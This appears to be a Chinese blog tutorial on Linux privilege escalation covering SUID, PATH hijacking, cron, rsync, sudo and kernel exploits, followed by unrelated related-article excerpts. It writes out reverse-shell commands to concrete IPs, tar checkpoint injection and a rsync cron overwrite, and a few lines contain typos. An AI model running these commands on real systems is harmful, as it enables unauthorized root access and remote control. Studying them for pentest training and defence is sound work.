当前位置: 首页 > news >正文

权限提升Linux篇

提权工具

https://github.com/liamg/traitor
https://github.com/AlessandroZ/BeRoot
https://github.com/rebootuser/LinEnum
https://github.com/mzet-/linux-exploit-suggester
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/jondonas/linux-exploit-suggester-2

SUID提权

提权命令网站:GTFOBins

漏洞原因:

chmod u+s增加suid  chmod u-s减少suid

 在程序运行的时候,经常需要给程序以高权限,类似于Windows里的以管理员身份运行,通过上面的命令增加SUID,使普通用户可以以root用户的身份运行程序

查找SUID权限命令

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

 SUID具有高权限,可以用root身份执行命令

find / -user root -perm -4000 -exec ls -ldb {} \;

 现在尝试用SUID提权,使用上面的SUID提权网站

sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit

可以看到,成功通过SUID得到root权限 

但是前面的提权是有一个问题的,因为这些提权步骤都是我使用自己的云服务完成的,真实情况我们不能看到回显,所以需要用到反弹shell

控制受害者主机开启nc监听7777端口并绑定/bin/sh,注意开启防火墙端口

find yc -exec nc -lvp 7777 -e /bin/sh \;

攻击者连接受害者主机

nc 43.139.79.52 7777

 可以看到11,成功通过反弹shell获取了权限,当我们第一次用whoami查看自身身份的时候,会发现身份是普通用户,这时候再用前面的提权命令即可拿到root权限,我这里使用nc进行反弹shell,如果没有nc环境可以尝试其他反弹shell命令,根据具体情况而定

 我们前面使用SUID提权的时候,其实很多命令都有SUID权限,但是为什么只有find等命令才可以作为提权命令呢,这是由这些命令的功能决定的,如果find没有exec这个参数,那他也不能用来提权,就比如拥有管理员权限的ping命令,但是可以用来提权吗,显然不能

环境变量提权

管理员编译了程序,给予程序管理员运行的权限,攻击者通过提供对程序的运行调试反编译获得程序运行逻辑,对程序调用的环境变量进行覆盖,从而继承程序的权限

比如现在有一个程序test.c,会执行find命令,自带环境变量/usr/bin/bash,如果我们把bash命令复制到当前目录取名find,那么可能调用的程序就会由find命令变为bash命令

test.c


#include<unistd.h>
void main()
{ setuid(0);setgid(0);system("ps");
}

vim test.c

cdd /tmp

gcc test.c

gcc test.c -o shell

chmod u+s shell

cp /bin/bash /tmp/find

 export PATH=/tmp:$PATH

./shell

实战步骤:

查看SUID权限,查看管理员创建的命令

反编译获得源代码 ,就是前面的.c文件

覆盖变量,cp /bin/bash /tmp/find,export PATH=/tmp:$PATH

这里还遇到一个问题,普通用户竟然没有权限在/tmp创建文件,最后完成提权,但是感觉此提权方法太困难,比较鸡肋

计划任务提权

在Linux中,经常会用到计时任务,比如每天自动打包当天的日志文件

查看计时任务命令

cat /etc/crontab 

写一个计划任务实现将每天的文件打包

echo "0 0 * * * tar -czf /data/archive/archive.tar.gz /tmp">/etc/crontab

如果黑客发现有这样一个计划任务,他就可以通过计划任务来提权

echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh
chmod +x test.sh
./bash -p

 计划任务也可以用来在后渗透中,写一个计划任务每隔一段时间发起反弹shell

 echo "* * * * * root bash -i >& /dev/tcp/43.139.79.52/7777 0>&1">/etc/crontab

计划任务提权(配置不当)

使用上面那种计划任务提权极其复杂,计划任务还有一种方式就是配置不当

假如有一个1.sh文件,root用户使用chmod 777 1.sh,那么这就有问题了,普通用户也有权限修改这个文件,如果普通用户将文件内容改为反弹shell,那么当计划任务执行的时候,反弹shell由root权限执行,根据权限继承的原则,root用户执行了反弹shell,这样就成功拿到了root权限,这也是计划任务提权的实际情况运用方式

Rsync未授权访问提权

Rsync是一款数据备份工具,默认端口873,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

可以使用vulhub的靶场来验证

Vulhub - Docker-Compose file for vulnerability environment

提权过程

创建一个 nc 文件,内容

#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i
赋予执行权限:
chmod +x nc
上传文件覆盖定时任务目录下
rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly
下载文件
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
进行 nc 监听相应的端口
nc -lvnp 3333

SUDO提权

/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令,

创建用户命令

useradd yc

passwd yc

查看命令

sudo cat /etc/sudoers

 这是我买的云服务器自带的,可见lighthose用户拥有root的所有权限,直接sudo su就可以提权

这里模拟配置sudo权限不当

visudo

yc ALL=(ALL:ALL) /usr/bin/find   #复制到文件中

su yc  切换到yc用户

 sudo find /home -exec /bin/bash \;  执行find提权命令

 内核提权

CVE-2016-5195 DirtyCow 脏牛提权

CVE-2022-0847 脏管道提权

相关文章:

权限提升Linux篇

提权工具 https://github.com/liamg/traitor https://github.com/AlessandroZ/BeRoot https://github.com/rebootuser/LinEnum https://github.com/mzet-/linux-exploit-suggester https://github.com/sleventyeleven/linuxprivchecker https://github.com/jondonas/linux…...

影刀自动化采集底层逻辑

hello,大家好&#xff0c;这里是【玩数据的诡途】 接上回 <我的影刀故事> 今天给大家介绍一下整个采集的底层逻辑&#xff0c;包括业务流程自动化也是基于这一套基础逻辑进行展开的&#xff0c;顺便带大家熟悉一下影刀&#xff0c;既然叫影刀系列了&#xff0c;那后续一些…...

swiper使用

介绍 Swiper&#xff08;swiper master&#xff09;是一个第三方的库&#xff0c;可以用来实现移动端、pc端的滑动操作。&#xff0c;swiper应用广泛&#xff0c;使用频率仅次于jquery, 轮播图类排名第一&#xff0c;是网页设计师必备技能&#xff0c;众多耳熟能详的品牌在使用…...

基于遗传算法解决的多仓库多旅行推销员问题(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…...

微信小程序 工具使用(HBuilderX)

微信小程序 工具使用:HBuilderX 一 HBuilderX 的下载二 工具的配置2.1 工具 --> 设置 --> 运行配置2.1.1 微信开发者工具路径2.1.2 node 运行配置 2.2 插件 工具 --> 插件安装2.2.1 下载插件 三 微信小程序端四 同步运行五 BUG5.1 nodemon在终端无法识别 一 HBuilderX…...

设计模式:观察者模式(C++实现)

观察者模式&#xff08;Observer Pattern&#xff09;是一种设计模式&#xff0c;用于定义对象之间的一对多依赖关系&#xff0c;当一个对象&#xff08;称为主题或可观察者&#xff09;的状态发生变化时&#xff0c;它的所有依赖对象&#xff08;称为观察者&#xff09;都会收…...

【前端打怪升级日志之微前端框架篇】微前端qiankun框架子应用间跳转方法

参考链接qiankun官网&#xff1a;微应用之间如何跳转&#xff1f; 1.主应用、子应用路由都是hash模式 主应用根据 hash 来判断微应用&#xff0c;无需考虑该问题 2.主应用根据path判断子应用 方法实现适用条件参数传递存在问题a标签跳转<a href"/toA"></…...

C语言中的typedef struct用法

在学习数据结构的时候&#xff0c;我经常遇到typedef struct&#xff0c;刚开始感觉很别扭&#xff0c;查阅资料之后才真真理解了。 先从结构体说起。 1、结构体用法 struct Student{int age;char s;}如果要定义一个该结构体变量&#xff0c;就需要:struct Student st1; 有没…...

司徒理财:9.27黄金原油日内多空走势行情操作建议

黄金走势分析&#xff1a;      黄金昨日抵达了此前一直强调的日线布林下轨的1903位置&#xff0c;甚至更低&#xff01;昨天的空单也是直接获利收割了&#xff01;现在如果是要继续做空&#xff0c;下方是有日线支撑的&#xff0c;甚至周线的支撑也不远&#xff0c;在1890…...

C++设计模式(Design Patterns)

设计模式主要原则 单一职责原则&#xff08;Single Responsibility Principle&#xff09; 实现类要职责单一 里氏替换原则&#xff08;Liskov Substitution Principle&#xff09; 不要破坏继承关系 依赖倒置原则&#xff08;Dependence Inversion Principle&#xff09; …...

vue点击按钮收缩菜单

问题描述 VUE菜单有一个BUG&#xff0c;当我们点击其它按钮或者首页的时候&#xff0c;已经展示的一级菜单是不会自动收缩的。这个问题也导致很多开发者把一级菜单都换成了二级菜单。 错误展示 错误的效果请看下图。 解决方法 1、寻找菜单文件 因为我使用的是ruoyi的前端框…...

Vue 防止忘记的命令

创建新项目 npm init vuelatest cd <项目名> npm install npm run dev 运行项目 yarn yarn serve 这里如果我用npm install 或者npm run serve会报错&#xff0c;但是新建项目用npm就不会&#xff0c;有大佬知道为什么吗...

APACHE NIFI学习之—RouteOnContent

RouteOnContent 描述: 通过正则表达式匹配输入数据流的内容,然后将输入数据流的副本路由到正则表达式相匹配的输出数据流。 正则表达式作为用户自定义的属性添加,并以该属性名称为输出连线,其值为正则表达式所匹配数据流内容。 当用户定义的属性支持属性表达式语言时,其结…...

【C语言】【结构体的内存对齐】计算结构体内存大小,有图解

计算结构体内存大小&#xff0c;需要用到结构体内存对齐的知识 来段代码看看什么是结构体对齐&#xff1a; #include<stdio.h> struct S1 {char a;char b;int num; }; struct S2 {char a;int num;char b; }; int main() {printf("%zd\n", sizeof(struct S1))…...

Intel 700 800系网卡升级支持WOL UEFI PXE方法

Intel 700 800系网卡默认的NVM版本是不支持UEFI的&#xff0c;升级NVM也不能解决&#xff0c;需要将UEFI driver 包到NVM里。操作步骤如下&#xff1a; 1. 下载Preboot软件包&#xff0c;有Windows和Linux版本&#xff0c;本次使用Linux版本做示例。 Intel Ethernet Connecti…...

vue3 - 使用 xlsx 库将数据导出到 Excel 文件

GitHub Demo 地址 在线预览 xlsx是由SheetJS开发的一个处理excel文件的JavaScript库。它可以读取、编写和操作 Excel 文件 安装xlsx npm install xlsx --save实现一个通过的数据导出工具类 import * as XLSX from xlsx/*** description: 导出excel* param {any} dataList* p…...

机器学习,深度学习

一 、Numpy 1.1 安装numpy 2.2 Numpy操作数组 jupyter扩展插件&#xff08;用于显示目录&#xff09; 1、pip install jupyter_contrib_nbextensions -i https://pypi.tuna.tsinghua.edu.cn/simple 2、pip install jupyter_nbextensions_configurator -i https://pypi.tuna.t…...

【性能测试】jmeter连接数据库jdbc

一、下载第三方工具包驱动数据库   1. 因为JMeter本身没有提供链接数据库的功能&#xff0c;所以我们需要借助第三方的工具包来实现。 &#xff08;有这个jar包之后&#xff0c;jmeter可以发起jdbc请求&#xff0c;没有这个jar包&#xff0c;也有jdbc取样器&#xff0c;但不能…...

蓝桥等考Python组别二级007

第一部分:选择题 1、Python L2 (15分) 下面哪个不是Python的基本数据类型?( ) 布尔型整数型指针型字符串正确答案:C 2、Python L2...

Java如何解决浮点数计算不精确问题

有的时候博客内容会有变动&#xff0c;首发博客是最新的&#xff0c;其他博客地址可能会未同步,认准https://blog.zysicyj.top 首发博客地址[1] 面试题手册[2] 系列文章地址[3] 1. 什么是浮点数计算不精确问题? 在 Java 中&#xff0c;浮点数计算不精确问题指的是使用浮点数进…...

python打卡day49

知识点回顾&#xff1a; 通道注意力模块复习空间注意力模块CBAM的定义 作业&#xff1a;尝试对今天的模型检查参数数目&#xff0c;并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...

日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする

日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...

23-Oracle 23 ai 区块链表(Blockchain Table)

小伙伴有没有在金融强合规的领域中遇见&#xff0c;必须要保持数据不可变&#xff0c;管理员都无法修改和留痕的要求。比如医疗的电子病历中&#xff0c;影像检查检验结果不可篡改行的&#xff0c;药品追溯过程中数据只可插入无法删除的特性需求&#xff1b;登录日志、修改日志…...

django filter 统计数量 按属性去重

在Django中&#xff0c;如果你想要根据某个属性对查询集进行去重并统计数量&#xff0c;你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求&#xff1a; 方法1&#xff1a;使用annotate()和Count 假设你有一个模型Item&#xff0c;并且你想…...

Golang——7、包与接口详解

包与接口详解 1、Golang包详解1.1、Golang中包的定义和介绍1.2、Golang包管理工具go mod1.3、Golang中自定义包1.4、Golang中使用第三包1.5、init函数 2、接口详解2.1、接口的定义2.2、空接口2.3、类型断言2.4、结构体值接收者和指针接收者实现接口的区别2.5、一个结构体实现多…...

前端高频面试题2:浏览器/计算机网络

本专栏相关链接 前端高频面试题1&#xff1a;HTML/CSS 前端高频面试题2&#xff1a;浏览器/计算机网络 前端高频面试题3&#xff1a;JavaScript 1.什么是强缓存、协商缓存&#xff1f; 强缓存&#xff1a; 当浏览器请求资源时&#xff0c;首先检查本地缓存是否命中。如果命…...

DAY 26 函数专题1

函数定义与参数知识点回顾&#xff1a;1. 函数的定义2. 变量作用域&#xff1a;局部变量和全局变量3. 函数的参数类型&#xff1a;位置参数、默认参数、不定参数4. 传递参数的手段&#xff1a;关键词参数5 题目1&#xff1a;计算圆的面积 任务&#xff1a; 编写一…...

React核心概念:State是什么?如何用useState管理组件自己的数据?

系列回顾&#xff1a; 在上一篇《React入门第一步》中&#xff0c;我们已经成功创建并运行了第一个React项目。我们学会了用Vite初始化项目&#xff0c;并修改了App.jsx组件&#xff0c;让页面显示出我们想要的文字。但是&#xff0c;那个页面是“死”的&#xff0c;它只是静态…...

MeshGPT 笔记

[2311.15475] MeshGPT: Generating Triangle Meshes with Decoder-Only Transformers https://library.scholarcy.com/try 真正意义上的AI生成三维模型MESHGPT来袭&#xff01;_哔哩哔哩_bilibili GitHub - lucidrains/meshgpt-pytorch: Implementation of MeshGPT, SOTA Me…...

深入理解 React 样式方案

React 的样式方案较多,在应用开发初期,开发者需要根据项目业务具体情况选择对应样式方案。React 样式方案主要有: 1. 内联样式 2. module css 3. css in js 4. tailwind css 这些方案中,均有各自的优势和缺点。 1. 方案优劣势 1. 内联样式: 简单直观,适合动态样式和…...